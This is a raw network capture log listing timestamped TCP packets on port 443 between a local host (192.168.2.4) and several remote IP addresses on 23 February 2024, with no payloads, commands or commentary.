Feb 23, 2024 11:49:25.392676115 CET	443	49754	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.392694950 CET	443	49754	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.392752886 CET	49754	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.392764091 CET	443	49754	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.392793894 CET	49754	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.392811060 CET	49754	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.451062918 CET	49758	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:25.451092005 CET	443	49758	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:25.451145887 CET	49758	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:25.451809883 CET	49758	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:25.451827049 CET	443	49758	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:25.479227066 CET	443	49754	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.479259968 CET	443	49754	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.479455948 CET	49754	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.479455948 CET	49754	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.479523897 CET	443	49754	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.479593039 CET	49754	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.480216026 CET	443	49754	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.480231047 CET	443	49754	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.480290890 CET	49754	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.480307102 CET	443	49754	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.480360985 CET	49754	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.480686903 CET	443	49754	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.480742931 CET	49754	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.480755091 CET	443	49754	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.480781078 CET	443	49754	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.480828047 CET	49754	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.486954927 CET	49754	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.486987114 CET	443	49754	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.527281046 CET	49750	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:25.527390003 CET	443	49750	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:25.539304972 CET	49759	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.539369106 CET	443	49759	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.539457083 CET	49759	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.540226936 CET	49759	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.540257931 CET	443	49759	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.569941998 CET	49760	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.569978952 CET	443	49760	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.570048094 CET	49760	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.570461035 CET	49760	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.570486069 CET	443	49760	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.624766111 CET	443	49750	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:25.624926090 CET	443	49750	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:25.624972105 CET	49750	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:25.624986887 CET	443	49750	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:25.625082970 CET	443	49750	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:25.625123024 CET	49750	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:25.625128031 CET	443	49750	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:25.625252008 CET	443	49750	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:25.625294924 CET	49750	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:25.625298977 CET	443	49750	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:25.625524998 CET	443	49750	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:25.625567913 CET	49750	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:25.629218102 CET	49750	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:25.629231930 CET	443	49750	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:25.636507034 CET	443	49758	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:25.653805017 CET	49758	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:25.653816938 CET	443	49758	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:25.655061007 CET	443	49758	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:25.655129910 CET	49758	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:25.656435013 CET	49758	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:25.656500101 CET	443	49758	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:25.656754017 CET	49758	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:25.656759024 CET	443	49758	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:25.700529099 CET	49758	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:25.757363081 CET	49761	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:25.757450104 CET	443	49761	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:25.757534981 CET	49761	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:25.759272099 CET	49761	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:25.759309053 CET	443	49761	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:25.849361897 CET	443	49760	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.849653006 CET	49760	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.849713087 CET	443	49760	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.851226091 CET	443	49760	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.851288080 CET	49760	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.851794958 CET	49760	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.851883888 CET	443	49760	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.851950884 CET	49760	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.851967096 CET	443	49760	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:25.896717072 CET	49760	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:25.956394911 CET	443	49761	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:25.956691980 CET	49761	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:25.956748962 CET	443	49761	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:25.958183050 CET	443	49761	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:25.959327936 CET	49761	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:25.959424019 CET	443	49761	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:25.959642887 CET	49761	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:25.959681034 CET	443	49761	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:25.959790945 CET	49761	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:25.959834099 CET	443	49761	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:25.959861040 CET	49761	443	192.168.2.4	104.21.50.101
Feb 23, 2024 11:49:26.001924992 CET	443	49761	104.21.50.101	192.168.2.4
Feb 23, 2024 11:49:26.115340948 CET	443	49760	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:26.115398884 CET	443	49760	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:26.115421057 CET	443	49760	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:26.115462065 CET	443	49760	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:26.115472078 CET	49760	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:26.115509033 CET	443	49760	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:26.115545034 CET	443	49760	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:26.115578890 CET	49760	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:26.115578890 CET	49760	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:26.115578890 CET	49760	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:26.115586996 CET	443	49760	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:26.115641117 CET	49760	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:26.115653038 CET	443	49760	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:26.115696907 CET	49760	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:26.115720034 CET	443	49760	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:26.115771055 CET	49760	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:26.118149996 CET	49760	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:26.118180990 CET	443	49760	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:26.259246111 CET	443	49758	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:26.259282112 CET	443	49758	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:26.259310961 CET	443	49758	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:26.259321928 CET	49758	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:26.259335995 CET	443	49758	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:26.259380102 CET	49758	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:26.259385109 CET	443	49758	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:26.259429932 CET	443	49758	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:26.259473085 CET	49758	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:26.262006044 CET	49762	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:26.262027979 CET	443	49762	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:26.262085915 CET	49762	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:26.262821913 CET	49762	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:26.262830973 CET	443	49762	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:26.274135113 CET	49758	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:26.274149895 CET	443	49758	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:26.531030893 CET	443	49762	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:26.575763941 CET	49762	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:26.737906933 CET	49762	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:26.737922907 CET	443	49762	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:26.739141941 CET	443	49762	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:26.739310980 CET	49762	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:26.739677906 CET	49762	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:26.739677906 CET	49762	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:26.739749908 CET	443	49762	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:26.793067932 CET	49762	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:26.793081045 CET	443	49762	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:26.829792023 CET	443	49759	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:26.830717087 CET	49759	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:26.830775023 CET	443	49759	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:26.831861973 CET	443	49759	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:26.832004070 CET	49759	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:26.832457066 CET	49759	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:26.832457066 CET	49759	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:26.832487106 CET	443	49759	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:26.832549095 CET	443	49759	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:26.840015888 CET	49762	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:26.887768984 CET	49759	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:26.887829065 CET	443	49759	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:26.918203115 CET	443	49762	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:26.918215036 CET	443	49762	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:26.918226004 CET	443	49762	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:26.918240070 CET	443	49762	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:26.918246031 CET	443	49762	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:26.918247938 CET	443	49762	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:26.918407917 CET	49762	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:26.918418884 CET	443	49762	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:26.918426037 CET	443	49762	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:26.918456078 CET	49762	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:26.918528080 CET	49762	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:26.920237064 CET	49762	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:26.920250893 CET	443	49762	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:26.949352026 CET	49759	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:27.529800892 CET	443	49759	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:27.529823065 CET	443	49759	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:27.529830933 CET	443	49759	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:27.529849052 CET	443	49759	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:27.529855967 CET	443	49759	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:27.529859066 CET	443	49759	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:27.529927015 CET	49759	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:27.529961109 CET	443	49759	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:27.530105114 CET	49759	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:27.533205986 CET	443	49759	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:27.533214092 CET	443	49759	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:27.533250093 CET	443	49759	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:27.533271074 CET	443	49759	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:27.533269882 CET	49759	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:27.533302069 CET	443	49759	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:27.533320904 CET	49759	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:27.533320904 CET	49759	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:27.533340931 CET	49759	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:27.621063948 CET	443	49759	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:27.621093988 CET	443	49759	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:27.621299028 CET	443	49759	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:27.621316910 CET	49759	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:27.621361017 CET	443	49759	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:27.621387005 CET	443	49759	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:27.621393919 CET	49759	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:27.621443033 CET	49759	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.239808083 CET	49759	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.239875078 CET	443	49759	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.360672951 CET	49763	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.360712051 CET	443	49763	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.360764980 CET	49763	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.362010956 CET	49764	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.362098932 CET	443	49764	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.362173080 CET	49764	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.363089085 CET	49765	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.363136053 CET	443	49765	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.363193035 CET	49765	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.363744020 CET	49763	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.363759995 CET	443	49763	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.364128113 CET	49764	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.364165068 CET	443	49764	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.364564896 CET	49765	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.364579916 CET	443	49765	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.638326883 CET	443	49763	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.646497011 CET	49763	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.646512032 CET	443	49763	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.646867037 CET	443	49763	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.650273085 CET	49763	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.650340080 CET	443	49763	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.650607109 CET	49763	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.658196926 CET	443	49765	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.661223888 CET	443	49764	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.665033102 CET	49765	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.665097952 CET	443	49765	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.665397882 CET	49764	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.665431976 CET	443	49764	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.666038990 CET	443	49765	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.666039944 CET	443	49764	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.666115999 CET	49765	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.666701078 CET	49765	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.666768074 CET	443	49765	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.666939020 CET	49764	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.667032003 CET	443	49764	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.667237043 CET	49765	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.667253971 CET	443	49765	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.667495966 CET	49764	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.693939924 CET	443	49763	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.709934950 CET	443	49764	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.719701052 CET	49765	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.830039024 CET	443	49763	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.830066919 CET	443	49763	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.830111980 CET	49763	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.830125093 CET	443	49763	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.830136061 CET	443	49763	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.830183029 CET	49763	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.833147049 CET	443	49765	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.833178043 CET	443	49765	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.833250999 CET	443	49765	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.833256960 CET	49765	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.833329916 CET	49765	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.833523035 CET	49763	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.833539009 CET	443	49763	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.841315031 CET	443	49764	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.841386080 CET	443	49764	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.841440916 CET	49764	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.841473103 CET	443	49764	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.841514111 CET	49764	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.841521025 CET	443	49764	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.841567993 CET	49764	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.933619022 CET	49766	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.933675051 CET	443	49766	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.933736086 CET	49766	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.934531927 CET	49767	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.934556961 CET	443	49767	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.934602976 CET	49767	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.935637951 CET	49766	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.935678959 CET	443	49766	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.935975075 CET	49767	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.935990095 CET	443	49767	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.937047005 CET	49765	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.937074900 CET	443	49765	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:28.964365005 CET	49764	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:28.964406013 CET	443	49764	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:29.017391920 CET	49768	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:29.017456055 CET	443	49768	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:29.017534971 CET	49768	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:29.017954111 CET	49768	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:29.017978907 CET	443	49768	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:29.022866964 CET	49769	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.022912025 CET	443	49769	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.022967100 CET	49769	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.024051905 CET	49769	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.024069071 CET	443	49769	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.025469065 CET	49770	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.025495052 CET	443	49770	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.025540113 CET	49770	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.025892973 CET	49770	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.025909901 CET	443	49770	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.201548100 CET	443	49768	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:29.201816082 CET	49768	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:29.201850891 CET	443	49768	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:29.202198982 CET	443	49768	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:29.202591896 CET	49768	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:29.202652931 CET	443	49768	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:29.202758074 CET	49768	443	192.168.2.4	172.67.204.183
Feb 23, 2024 11:49:29.224167109 CET	443	49766	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:29.224380016 CET	49766	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:29.224409103 CET	443	49766	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:29.225075960 CET	443	49766	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:29.225495100 CET	49766	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:29.225584030 CET	443	49766	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:29.225613117 CET	49766	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:29.234525919 CET	443	49767	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:29.234729052 CET	49767	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:29.234745979 CET	443	49767	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:29.235205889 CET	443	49767	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:29.235586882 CET	49767	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:29.235666037 CET	443	49767	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:29.235706091 CET	49767	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:29.249912024 CET	443	49768	172.67.204.183	192.168.2.4
Feb 23, 2024 11:49:29.265918016 CET	443	49766	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:29.272583008 CET	49766	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:29.277914047 CET	443	49767	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:29.288373947 CET	49767	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:29.300097942 CET	443	49769	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.300302029 CET	49769	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.300329924 CET	443	49769	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.300932884 CET	443	49769	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.301198006 CET	49769	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.301297903 CET	49769	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.301450968 CET	443	49769	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.302203894 CET	443	49770	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.302376032 CET	49770	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.302388906 CET	443	49770	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.302681923 CET	443	49770	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.302953005 CET	49770	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.303014040 CET	443	49770	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.303029060 CET	49770	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.341793060 CET	49769	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.349906921 CET	443	49770	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.354708910 CET	49770	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.400479078 CET	443	49766	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:29.400587082 CET	443	49766	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:29.400867939 CET	49766	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:29.401771069 CET	49766	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:29.401789904 CET	443	49766	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:29.406483889 CET	49771	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.406528950 CET	443	49771	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.406600952 CET	49771	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.407922029 CET	49771	443	192.168.2.4	13.107.246.70
Feb 23, 2024 11:49:29.407955885 CET	443	49771	13.107.246.70	192.168.2.4
Feb 23, 2024 11:49:29.418088913 CET	443	49767	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:29.418170929 CET	443	49767	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:29.418221951 CET	49767	443	192.168.2.4	13.107.213.40
Feb 23, 2024 11:49:29.418246031 CET	443	49767	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:29.418306112 CET	443	49767	13.107.213.40	192.168.2.4
Feb 23, 2024 11:49:29.418381929 CET	49767	443	192.168.2.4	13.107.213.40
